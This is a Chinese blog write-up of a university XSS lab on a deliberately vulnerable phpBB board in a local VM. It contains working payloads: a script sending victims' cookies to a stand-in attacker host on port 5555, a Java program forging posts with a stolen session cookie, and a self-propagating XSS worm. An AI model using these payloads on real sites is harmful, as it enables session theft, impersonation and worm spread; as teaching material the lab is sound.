主頁 > 前端設計 > 軟體安全實驗——lab11(XSS跨站腳本攻擊)

軟體安全實驗——lab11(XSS跨站腳本攻擊)

2021-08-18 08:08:32 前端設計

目錄標題

  • 1、概述
  • 2、實驗室環境
  • 3、實驗室的任務
    • 3.1任務1:發布惡意訊息以顯示警報視窗
    • 3.2任務2:發送惡意資訊顯示cookie
    • 3.3任務3:從受害者的機器上偷取cookies
    • 3.4任務4:用偷來的cookie冒充受害者
    • 3.5任務5:撰寫跨站蠕蟲
    • 3.6任務6:撰寫自傳播跨站蠕蟲
  • 4、提交

1、概述

跨站腳本(XSS)是 web應用程式中常見的一種漏洞,該漏洞使得攻擊者有可能將惡意代碼(如 JavaScript程式)注入受害者的網路瀏覽器,使用這種惡意代碼,攻擊者可以竊取受害者的憑證,如 cookie,瀏覽器用來保護這些憑證的訪問控制策略(即同源策略)可以通過利用XSS漏洞來繞過,這種漏洞可能會導致大規模的攻擊
為了演示攻擊者利用XSS漏洞可以做些什么,我們使用phpBB建立了一個基于 web的留言板,我們對軟體進行了修改,在該留言板中引入了XSS 漏洞;這個漏洞允許用戶向公告板發布任何訊息,包括JavaScript程式,學生需要利用這一漏洞,在留言板上發布一些惡意資訊;看到這些惡意資訊的用戶將成為受害者,攻擊者的目標是為受害者發布偽造的資訊,

2、實驗室環境

在這個實驗中,我們需要三樣東西:(1)Firefox網路瀏覽器,(2)apache網路服務器,(3)phpBB留言板網路應用程式,對于瀏覽器,我們需要使用Firefox 的 LiveHTTPHeaders 擴展來檢查HTTP請求和回應,提供給您的預構建的Ubuntu虛擬機鏡像已經安裝了帶有所需擴展的Firefox瀏覽器,
啟動Apache服務器,apache web服務器也包含在預構建的Ubuntu鏡像中,但是,默認情況下web服務器是不啟動的,您必須首先使用以下兩個命令之一啟動web服務器:

% sudo apache2ctl start

or

% sudo service apache2 start

phpBB web應用程式,phpBB web應用程式已經在預構建的 Ubuntu虛擬機鏡像中設定好了,我們還在phpBB服務器上創建了幾個用戶帳戶,密碼資訊可以從首頁的帖子中獲取,你可以使用以下URL訪問phpBB服務器(首先需要啟動apache服務器):
http://www.xsslabphpbb.com
配置DNS,這個URL只能從虛擬機內部訪問,因為我們修改了/etc/hosts檔案,將域名(www.xsslabphpbb.com)映射到虛擬機的本地IP地址(127.0.0.1),您可以使用/etc/hosts將任何域名映射到特定的IP地址,例如,在/etc/hosts檔案中添加如下內容,將 http:/www.example.com 映射到本地IP地址,

127.0.0.1     www.example.com

因此,如果您的 web服務器和瀏覽器運行在兩臺不同的機器上,您需要相應地修改瀏覽器機器上的/etc/hosts檔案,將 www.xsslabphpbb.com映射到 web服務器的IP地址,
配置Apache 服務器,在預構建的VM映像中,我們使用Apache服務器托管實驗室中使用的所有網站,Apache 中基于名稱的虛擬主機特性可以用于在同一臺機器上托管多個網站(或url),在"/etc/apache2/sites-available"目錄下有一個名為default的組態檔,其中包含了必要的配置指令:
1.指令“NameVirualHost *”指示 web服務器使用機器中的所有IP地址(有些機器可能有多個IP地址),
2.每個網站都有一個VirtualHost塊,它指定網站的URL和包含網站源的檔案系統中的目錄,
例如,要配置一個URL為http://www.example1.com的網站,源檔案位于/var/www/Example_1/目錄下,以及要配置一個URL為 http://www.example2.com的網站,源檔案位于/var/www/Example_2/目錄下,我們使用以下代碼塊:

<VirtualHost *>
ServerName http://www.example1.com
DocumentRoot /var/www/Example_1/
</VirtualHost>
<VirtualHost *>
ServerName http://www.example2.com
DocumentRoot /var/www/Example_2/
</VirtualHost>

您可以通過訪問上述目錄中的源代碼來修改 web應用程式,例如,使用上面的配置,可以通過修改目錄/var/www/Example_l中的源來修改web應用程式 http://www.example1.com.
其他軟體,有些實驗任務需要對JavaScript有基本的了解,只要有必要,我們就提供一個JavaScript示例程式來幫助學生入門,為了完成任務3,學生可能需要一個實用程式來監視特定TCP埠上傳入的請求,我們提供了一個C程式,可以將其配置為偵聽特定埠并顯示傳入訊息,C語言程式可從本實驗室的網站下載,
注意對教師
本實驗室可在有監督的實驗室環境中進行,在這種情況下,教師可以在做實驗之前向學生提供以下背景資訊:
1.如何使用虛報機,Firefox web瀏覽器和 LiveHittpHeaders擴展,2…JavaScript和 XMLHttpRequest物件的基礎知識,
3.簡要概述任務,
4.如何使用監聽埠的C程式,
5.如何撰寫一個java程式發送一個HTTP訊息發布,

3、實驗室的任務

3.1任務1:發布惡意訊息以顯示警報視窗

此任務的目標是發布包含JavaScript 的惡意訊息,以顯示警報視窗,JavaScript應該與訊息中的用戶注釋一起提供,下面的JavaScript將顯示一個警告視窗:

<script>alert(XSS);</script>

如果您將此JavaScript和您的評論一起發布在留言板中,那么任何查看此評論的用戶都將看到警告視窗,

可以用JavaScript的alert陳述句彈出警告視窗,引數為視窗中的字串,如下圖所示
發布一個帖子:
在這里插入圖片描述

當有用戶瀏覽該帖子的時候,則會彈出下面的視窗:
在這里插入圖片描述

3.2任務2:發送惡意資訊顯示cookie

此任務的目標是在留言板上發布包含JlavaScript 代碼的惡意訊息,以便每當用戶查看此訊息時,都會列印出用戶的 cookie,例如,考慮以下包含JavaScript代碼的訊息:

<script>alert(document.cookie);</script>
Hello Everybody,
Welcome to this message board.

當用戶查看此訊息發布時,他她將看到一個彈出訊息框,其中顯示用戶的cookie,

為了顯示出cookie,只需要把cookie的值傳入alert中作為引數即可,如下圖所示:
在這里插入圖片描述

此時用戶如果瀏覽這個帖子,則會彈出用戶的cookie
在這里插入圖片描述

3.3任務3:從受害者的機器上偷取cookies

在之前的任務中,惡意JavaScript代碼可以列印出用戶的cookie;在這個任務中,攻擊者希望.JavaScript代碼將cookie發送給自己,為了實作這一點,惡意JavaScript代碼可以向攻擊者發送一個HTTP請求,并將cookie附加到請求中,我們可以通過讓惡意的JavaScript 插入一個標記,并將src設定為攻擊者目標的URL來實作這一點,當JavaScript插入img標記時,瀏覽器嘗試從提到的URL加載影像,并在這個程序中最終向攻擊者的網站發送一個HTTP GET請求,下面給出的JavaScript 將 cookie 發送到攻擊者機器上提到的埠5555,在特定的埠上,攻擊者有一個TCP服務器,它只是列印它接收到的請求,TCP服務器程式將提供給您(可在本實驗室的網站上獲得),

Hello Folks,
<script>document.write(<img src=http://attacker_IP_address:5555?c=+ escape(document.cookie) +>); </script>
This script is to test XSS. Thanks.

為了把用戶的cookie送到遠程攻擊者的主機,需要如下構造攻擊腳本陳述句:

<script>document.write(<img src = http://127.0.0.1:5555?c=+escape(document.cookie)+>);</script>

在這里插入圖片描述

為了和請求報頭格式一致,我們需要用escape函式對cookie中的特殊字符進行轉義,
這樣腳本執行結束后瀏覽去會向127.0.0.1的5555埠的地址請求一個名字為自己的cookie的圖片,當然這個圖片是不存在的,為了避免受到被攻擊者的懷疑,我們可以在帖子內容中寫上“picture has been deleted!”,此時瀏覽帖子的人看到的內容如下:
在這里插入圖片描述

按照Makefile檔案中編譯:
在這里插入圖片描述

在瀏覽者一無所知的情況下,他的cookie值就被發送到了攻擊者的電腦上,攻擊者遠程監聽的結果如下:
在這里插入圖片描述
GET /?c=phpbb2mysql_t%3Da%253A2%253A%257Bi%253A6%253Bi%253A1629100308%253Bi%253A11%253Bi%253A1629099910%253B%257D%3B%20phpbb2mysql_data%3Da%253A2%253A%257Bs%253A11%253A%2522autologinid%2522%253Bs%253A0%253A%2522%2522%253Bs%253A6%253A%2522userid%2522%253Bs%253A2%253A%252212%2522%253B%257D%3B%20phpbb2mysql_sid%3Df7ce2779c4f882fdab383be05e4e354f HTTP/1.1

3.4任務4:用偷來的cookie冒充受害者

在竊取受害者的 cookie 后,攻擊者可以對 phpBB 網路服務器做受害者可以做的任何事情,包括以受害者的名字發布一條新訊息,洗掉受害者的帖子,等等,在這個任務中,我們將撰寫一個程式,代表受害者偽造訊息,
為了偽造訊息發布,我們首先應該分析 phpBB 在發布訊息方面是如何作業的,更具體地說,我們的目標是確定當用戶發布訊息時向服務器發送什么,Firefox的LiveHTTPHeaders 擴展可以幫助我們;它可以顯示從瀏覽器發送的任何HTTP請求訊息的內容,從內容中,我們可以識別訊息的所有引數,圖1給出了LiveHTTPHeaders的螢屏截圖,LiveHTTPHeaders擴展可以從http:Mlivehtpheaders.mozdev.org/下裁,它已經安裝在預構建的Ubuntu虛擬機鏡像中,
一旦我們理解了用于訊息發布的HTTP請求是什么樣子的,我們就可以撰寫一個 Java程式來發送相同的 HTTP請求,phpBB服務器無法區分請求是由用戶的瀏覽器發出的還是由攻擊者的Java程式發出的,只要我們正確地設定了所有引數,服務器就會接受并處理訊息發送HTTP 請求,為了簡化您的任務,我們提供了一個示例java程式,其功能如下:
1.打開到 web 服務器的連接,
2.設定必要的HTTP頭資訊,
3.發送請求到web 服務器,
4.從web服務器獲取回應,
如果您在理解上述程式時有困難,我們建議您閱讀以下內容

import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
public static void main(String[] args) throws IOException {
try {
int responseCode;
InputStream responseIn=null;
// URL to be forged.
URL url = new URL ("http://www.xsslabphpbb.com/profile.php");
// URLConnection instance is created to further parameterize a
// resource request past what the state members of URL instance
// can represent.
URLConnection urlConn = url.openConnection();
if (urlConn instanceof HttpURLConnection) {
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
}
// addRequestProperty method is used to add HTTP Header Information.
// Here we add User-Agent HTTP header to the forged HTTP packet.
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
//HTTP Post Data which includes the information to be sent to the server.
String data="username=admin&seed=admin%40seed.com";
// DoOutput flag of URL Connection should be set to true
// to send HTTP POST message.
urlConn.setDoOutput(true);
// OutputStreamWriter is used to write the HTTP POST data
// to the url connection.
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
// HttpURLConnection a subclass of URLConnection is returned by
// url.openConnection() since the url is an http request.
if (urlConn instanceof HttpURLConnection) {
HttpURLConnection httpConn = (HttpURLConnection) urlConn;
// Contacts the web server and gets the status code from
// HTTP Response message.
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);
// HTTP status code HTTP_OK means the response was
// received sucessfully.
if (responseCode == HttpURLConnection.HTTP_OK) {
// Get the input stream from url connection object.
responseIn = urlConn.getInputStream();
// Create an instance for BufferedReader
// to read the response line by line.
BufferedReader buf_inp = new BufferedReader(
new InputStreamReader(responseIn));
String inputLine;
while((inputLine = buf_inp.readLine())!=null) {
System.out.println(inputLine);
}
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}

如果您在理解上述程式時有困難,我們建議您閱讀以下內容:
JDK 6檔案:http://java.sun.com/javase/6/docs/api/
Java 協議處理程式:http://java.sun.com/developer/onlineTraining/protocolhandlers/
限制:偽造的訊息應該來自同一臺虛擬機,即受害者(連接到web論壇的用戶)和攻擊者(生成偽造訊息的人)應該在間一臺機器上,因為 phpBB使用IP地址和cookie進行會話管理,如果攻擊者從另一臺機器生成偽造的訊息,偽造資料包的IP地址和受害者的IP地址將不同,因此偽造的訊息將被phpBB服務器拒絕,盡管偽造的訊息攜帶了正確的cookie資訊,

為了冒充被攻擊者發帖,首先向前面所述得到用戶的cookie,但是這個cookie是經過轉義過的,我們需要把其中的轉義字符修正回來,具體要在vim中進行如下操作:
把所有的“%3D”替換為“=”號,把所有的“%25”替換為“%”號,把所有的“%3B%20”替換為“; ”(;后面有個空格),

phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=8d7d46f9af4ffa33a84494b859da0cd1; phpbb2mysql_t=a%3A2%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3B%7D

這樣我們就得到了用戶的原始cookie,然后用addRequestProperty函式設定連接的cookie屬性,這樣服務器就會把我們當作被攻擊者:
在這里插入圖片描述

http://www.xsslabphpbb.com/posting.php

POST /posting.php HTTP/1.1
Host: www.xsslabphpbb.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1
Cookie: phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=8d7d46f9af4ffa33a84494b859da0cd1; phpbb2mysql_t=a%3A2%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3B%7D
Content-Type: application/x-www-form-urlencoded
Content-Length: 276
subject=bbbb&addbbcode18=%23444444&addbbcode20=0&helpbox=Font+color%3A+%5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D++Tip%3A+you+can+also+use+color%3D%23FF0000&message=bbbb&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=8d7d46f9af4ffa33a84494b859da0cd1&f=1&post=Submit

HTTP/1.1 200 OK
Date: Mon, 16 Aug 2021 11:50:11 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-3ubuntu4.1
Set-Cookie: phpbb2mysql_t=a%3A3%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3Bi%3A14%3Bi%3A1629114611%3B%7D; path=/
Cache-Control: private, pre-check=0, post-check=0, max-age=0
Expires: 0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3882
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

其中:

Cookie: phpbb2mysql_t=a%3A3%3A%7Bi%3A6%3Bi%3A1629100308%3Bi%3A11%3Bi%3A1629099910%3Bi%3A7%3Bi%3A1629100786%3B%7D; phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=f7ce2779c4f882fdab383be05e4e354f subject=bbbb&addbbcode18=%23444444&addbbcode20=0&helpbox=Quote+text%3A+%5Bquote%5Dtext%5B%2Fquote%5D++%28alt%2Bq%29&message=bbbb&poll_title=&add_poll_option_text=&poll_length=&mode=editpost&sid=f7ce2779c4f882fdab383be05e4e354f&p=7&post=Submit

這樣我們就得到了,發帖資料包的格式,通過修改其中的cookie欄位我們就可以偽裝成其他用戶,修改subject和message欄位,我們就可以修改任意帖子內容,綜上,我們需要將Java程式中的addRequestProperty和data修改為如下:
在這里插入圖片描述

HTTPSimpleForge.Java源代碼:

import java.io.*;

import java.net.*;

public class HTTPSimpleForge {

       public static void main(String[] args) throws IOException {

       try {

                     int responseCode;

                     InputStream responseIn=null;

                     // URL to be forged.

                     URL url = new URL ("http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");

                     // URLConnection instance is created to further parameterize a

                     // resource request past what the state members of URL instance

                     // can represent.

                     URLConnection urlConn = url.openConnection();

                     if (urlConn instanceof HttpURLConnection) {

                            urlConn.setConnectTimeout(60000);

                            urlConn.setReadTimeout(90000);

              }

              // addRequestProperty method is used to add HTTP Header Information.

              // Here we add User-Agent HTTP header to the forged HTTP packet.

              urlConn.addRequestProperty("User-agent","Sun JDK 1.6");

              urlConn.setRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

              urlConn.setRequestProperty("Accept-Language","en-us,en;q=0.5");

              urlConn.setRequestProperty("Accept-Encoding","gzip,deflate");

              urlConn.setRequestProperty("Accept-Charset","ISO-8859-1,utf-8;q=0.7,*;q=0.7");

              urlConn.setRequestProperty("Connection","keep-alive");

              urlConn.setRequestProperty("Keep-Alive","115");

              urlConn.setRequestProperty("Referer","http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");

              urlConn.setRequestProperty("Cookie","Cookie: phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2212%22%3B%7D; phpbb2mysql_sid=8d7d46f9af4ffa33a84494b859da0cd1; phpbb2mysql_t=a%3A2%3A%7Bi%3A13%3Bi%3A1629114150%3Bi%3A8%3Bi%3A1629114309%3B%7D");

              urlConn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");

              urlConn.setRequestProperty("Content-Length","245");

              //HTTP Post Data which includes the information to be sent to the server.

              //String data="username=admin&seed=admin@seed.com";
	      String data="subject=Iam not 123&addbbcode18=%23444444&addbbcode20=0&helpbox=Font+color%3A+%5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D++Tip%3A+you+can+also+use+color%3D%23FF0000&message=but I can post as 123&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=8d7d46f9af4ffa33a84494b859da0cd1&f=1&post=Submit";

              // DoOutput flag of URL Connection should be set to true

              // to send HTTP POST message.

              urlConn.setDoOutput(true);

              // OutputStreamWriter is used to write the HTTP POST data

              // to the url connection.

              OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());

              wr.write(data);

              wr.flush();

              // HttpURLConnection a subclass of URLConnection is returned by

              // url.openConnection() since the url is an http request.

              if (urlConn instanceof HttpURLConnection) {

                     HttpURLConnection httpConn = (HttpURLConnection) urlConn;

                     // Contacts the web server and gets the status code from

                     // HTTP Response message.

                     responseCode = httpConn.getResponseCode();

                     System.out.println("Response Code = " + responseCode);

                     // HTTP status code HTTP_OK means the response was

                     // received sucessfully.

                     if (responseCode == HttpURLConnection.HTTP_OK) {

                            // Get the input stream from url connection object.

                            responseIn = urlConn.getInputStream();

                            // Create an instance for BufferedReader

                            // to read the response line by line.

                            BufferedReader buf_inp = new BufferedReader(

                            new InputStreamReader(responseIn));

                            String inputLine;

                            while((inputLine = buf_inp.readLine())!=null) {

                                   System.out.println(inputLine);

                            }

                     }

              }

       } catch (MalformedURLException e) {

              e.printStackTrace();

              }

       }

}

編譯運行:
在這里插入圖片描述

再去看論壇文章串列,我們發現確實多了123發的一篇帖子:
在這里插入圖片描述
在這里插入圖片描述

3.5任務5:撰寫跨站蠕蟲

在前面的任務中,我們學習了如何從受害者那里竊取 cookie,然后使用竊取的 cookie偽造HTTP請求,在這個任務中,我們需要撰寫一個惡意JavaScript來直接從受害者的瀏覽器偽造一個 HTTP請求,這種攻擊不需要攻擊者的干預,能夠做到這一點的JavaScript被稱為跨站點腳本蠕蟲,對于這個web應用程式,蠕蟲程式應該做以下作業:
1.使用JavaScript檢索用戶的會話ID,
2.偽造HTTP發布請求,使用會話ID發布訊息,
HTTP請求有兩種常見型別,一種是HTTP GET請求,另一種是HTTP POST請求,這兩種HTTP請求的不同之處在于它們如何將請求的內容發送給服務器,在phpBB中,發送訊息的請求使用HTTP POST請求,我們可以使用XMLHttp Request物件為 web應用程式發送HTTP GET 和POST請求,XMLHttp Request只能將HTTP請求發送回服務器,而不是其他計算機,因為XMLHtpRequest強烈執行同源策略,這對我們來說不是問題,因為我們確實想使用XMLHttp Request向 phpBB服務器發送一個偽造的HTTP POST請求,要學習如何使用XMLHttp Request,可以學習這些參考的檔案[1,2],如果您不熟悉JavaScript編程,我們建議您閱讀[3],學習一些基本的JavaScript函致,你將不得不使用其中的一些函式:
您可能還需要除錯JavaScript代碼,Firebug是一個Firefox擴展,可以幫助您除錯JavaScript代碼,它可以指出包含錯誤的精確位置,FireBug可以從 https://addons.mozilla.org/en-US/firefox/addon/1843下載,它已經安裝在我們預構建的Ubuntu虛擬機鏡像中,
代碼框架,我們提供了您需要撰寫的JavaScript代碼的框架,你需要填寫所有必要的細節,在發布到phpBB留言板的訊息中包含最終的JavaScript代碼時,需要制除所有注釋、額外的空格和換行符,

<script>
var Ajax=null;
// Construct the header information for the Http request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
// Construct the content. The format of the content can be learned
// from LiveHttpHeader. All we need to fill is subject, message, and sid.
var content="subject=" + "XSSWorm" + ...; // You need to fill in the details.
// Send the HTTP POST request.
Ajax.send(content);
</script>

要使我們的蠕蟲作業,我們應該注意phpBB是如何使用會話id資訊的,從LiveHTTPHeaders 擴展的輸出中,我們可以注意到sid在訊息發布請求中出現了兩次,一個是在 cookie部分(稱為phpbb2mysql_sid),因此,XMLHttpRequest發出的HTTP POST請求也必須包含cookie,我們已經在上面的骨架代碼中為您做了,
如果我們仔細查看LiveHTTPHeaders的輸出,我們可以看到相同的 session id也出現在以“subject=”開頭的行中,phpBB服務器使用這里的會話id來防止另一種型別的攻擊(即跨站請求偽造攻擊),在偽造的訊息發布請求中,我們還需要添加這個會話id資訊;該會話id的值與phpbb2mysql_sid中的值完全相同,如果請求中沒有此會話id,則該請求將被服務器丟棄,
為了從cookie中檢索 sid資訊,您可能需要學習JavaScript中的一些字串操作,你應該學習這個參考的教程[4],

為了能夠讓這個蠕蟲可以以瀏覽者的身份發帖,我們首先要用JavaScript得到用戶的cookie,這個在前面已經做過了;然后我們需要從此cookie中提取出section ID,這個可以用JavaScript提供的一些字串操作函式來完成;最后要利用這個section ID構造一個發帖請求,發帖請求的格式可以通過LiveHTTPHeader來偵聽一個真正的發帖請求來得到,
攻擊代碼:

<script>
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var cookie=document.cookie;
var id=cookie.match(/phpbb2mysql_sid=(.*)/);
var content="subject=Task%205" + "&addbbcode18=%23444444&addbbcode20=0&helpbox=Font+color%3A+%5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D++Tip%3A+you+can+also+use+color%3D%23FF0000&" + "message=Task%205:" + "&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=" + RegExp.$1.slice(0,32) + "&f=1&post=Submit"; 
Ajax.send(content);
</script>

就在hyh瀏覽這個帖子的同時,我們的蠕蟲已經以hyh的身份發了帖子:
在這里插入圖片描述

3.6任務6:撰寫自傳播跨站蠕蟲

在前一個任務中構建的蠕蟲只代表受害者偽造一條訊息;它不會自我傳播,因此,從技術上講,它不是蠕蟲,為了能夠自我傳播,偽造的訊息還應該包括一個蠕蟲病毒,所以每當有人點擊偽造的訊息,一個新的攜帶相同的蠕蟲病毒的偽造訊息將被創建,這樣,蠕蟲就可以傳播了,點擊偽造資訊的人越多,蠕蟲病毒傳播的速度就越快,
在此任務中,您需要展開在task 5中所做的作業,并將蠕蟲病毒的副本添加到偽造訊息的正文中,以下指導方針將幫助您完成這項任務:
1.發布偽造資訊的JavaScript 程式已經是網頁的一部分,因此,蠣蟲代碼可以使用DOM api從網頁中檢索自己的副本,下面給出一個使用DOM api的例子,這段代碼獲得了自己的副本,并將其顯示在警報視窗中:

<script id=worm>
var strCode = document.getElementById("worm");
alert(strCode.innerHTML);
</script>

2.URL編碼:1nternet上所有通過HTTP協議傳輸的訊息都使用URL編碼,即在URL編碼方案下,將所有非ascii字符(如空格)轉換為特殊代碼,在蠕蟲代碼中,在 phpBB論壇中發布的訊息應該使用URL編碼,escape函式可用于URL編碼字串,下面給出了一個使用encode函式的示例,

<script>
var strSample = "Hello World";
var urlEncSample = escape(strSample);
alert(urlEncSample);
</script>

3.在URL編碼方案下,“+”符號用于表示空格,在JavaScript程式中,“+”用于算術操作和字串連接操作,為了避免這種模棱兩可,
可以使用concat函式進行字串連接,避免使用加法,的蠕蟲在代碼練習中,你不需要使用加法,如果你確實需要加一個數字(如a+5),你可以可以使用減法(如a-(-5)),

攻擊代碼:

<script id=worm>var scriptValue = document.getElementById("worm");scriptValue = scriptValue.childNodes[0].nodeValue; scriptValue =escape(scriptValue); var Ajax = null; Ajax = new XMLHttpRequest(); Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true); Ajax.setRequestHeader("Host","www.xsslabphpbb.com"); Ajax.setRequestHeader("Keep-Alive","300");Ajax.setRequestHeader("Connection","keep-alive"); Ajax.setRequestHeader("Cookie",document.cookie); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); var cookie = document.cookie; var id = cookie.match(/phpbb2mysql_sid=(.*)/); var content = "subject=This is a self-popagation worm"; content = content.concat("&addbbcode18=%23444444&addbbcode20=0&helpbox=Font color%3A %5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D  Tip%3A you can also use color%3D%23FF0000&message=%3Cscript id=worm>"); content = content.concat(scriptValue); content = content.concat("%3C/script>&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid="); content = content.concat(RegExp.$1.slice(0,32)); content = content.concat("&f=1&post=Submit"); Ajax.send(content); </script>

對于上面的代碼,需要注意以下幾點:
1.代碼中沒有回車換行,全部在一行里面,
2.要使用contact函式來代替+完成字串的拼接作業,
3.要用escape函式對特殊符號進行過濾,
4.Document.getElementByID(“worm”).childNodes[0].nodeValue所得到的就是id為worm的script中的所有內容,
123發布包含蠕蟲的帖子后,hyh瀏覽了123的帖子,abc瀏覽hyh的帖子,攻擊效果如下:
在這里插入圖片描述

4、提交

你需要提交一份詳細的實驗報告,描述你做了什么,觀察到了什么,請使用LiveHTTPHeaders,Wireshark和/或截圖提供詳細資訊,您還需要對有趣或令人驚訝的觀察結果進行解釋,
參考文獻

[1]AJAX for n00bs,可于以下網址查閱:
http://www.hunlock.com/blogs/AJAX_for_n00bs,
[2] AJAX POST-It Notes,可于以下網址查閱:
http://www.hunlock.com/blogs/AJAX_POST-It_Notes.
[3]Essential Javascript – A Javascript Tutorial,可于以下網址查間:
http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial,
[4]The Complete Javascript Strings Reference,可于以下網址查閱:
http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/294488.html

標籤:其他

上一篇:JAVA 工程師成功的三個步驟!!基礎>進階>高級

下一篇:jQuery常用的API 后續

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • vue移動端上拉加載

    可能做得過于簡單或者比較low,請各位大佬留情,一起探討技術 ......

    uj5u.com 2020-09-10 04:38:07 more
  • 優美網站首頁,頂部多層導航

    一個個人用的瀏覽器首頁,可以把一下常用的網站放在這里,平常打開會比較方便。 第一步,HTML代碼 <script src=https://www.cnblogs.com/szharf/p/"js/jquery-3.4.1.min.js"></script> <div id="navigate"> <ul> <li class="labels labels_1"> ......

    uj5u.com 2020-09-10 04:38:47 more
  • 頁面為要加<!DOCTYPE html>

    最近因為寫一個js函式,需要用到$(window).height(); 由于手寫demo的時候,過于自信,其實對前端方面的認識也不夠體系,用文本檔案直接敲出來的html代碼,第一行沒有加上<!DOCTYPE html> 導致了$(window).height();的結果直接是整個document的高 ......

    uj5u.com 2020-09-10 04:38:52 more
  • WordPress網站程式手動升級要做好資料備份

    WordPress博客網站程式在進行升級前,必須要做好網站資料的備份,這個問題良家佐言是遇見過的;在剛開始接觸WordPress博客程式的時候,因為升級問題和博客網站的修改的一些嘗試,良家佐言是吃盡了苦頭。因為購買的是西部數碼的空間和域名,每當佐言把自己的WordPress博客網站搞到一塌糊涂的時候 ......

    uj5u.com 2020-09-10 04:39:30 more
  • WordPress程式不能升級為5.4.2版本的原因

    WordPress是一款個人博客系統,受到英文博客愛好者和中文博客愛好者的追捧,并逐步演化成一款內容管理系統軟體;它是使用PHP語言和MySQL資料庫開發的,用戶可以在支持PHP和MySQL資料庫的服務器上使用自己的博客。每一次WordPress程式的更新,就會牽動無數WordPress愛好者的心, ......

    uj5u.com 2020-09-10 04:39:49 more
  • 使用CSS3的偽元素進行首字母下沉和首行改變樣式

    網頁中常見的一種效果,首字改變樣式或者首行改變樣式,效果如下圖。 代碼: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, ......

    uj5u.com 2020-09-10 04:40:09 more
  • 關于a標簽的講解

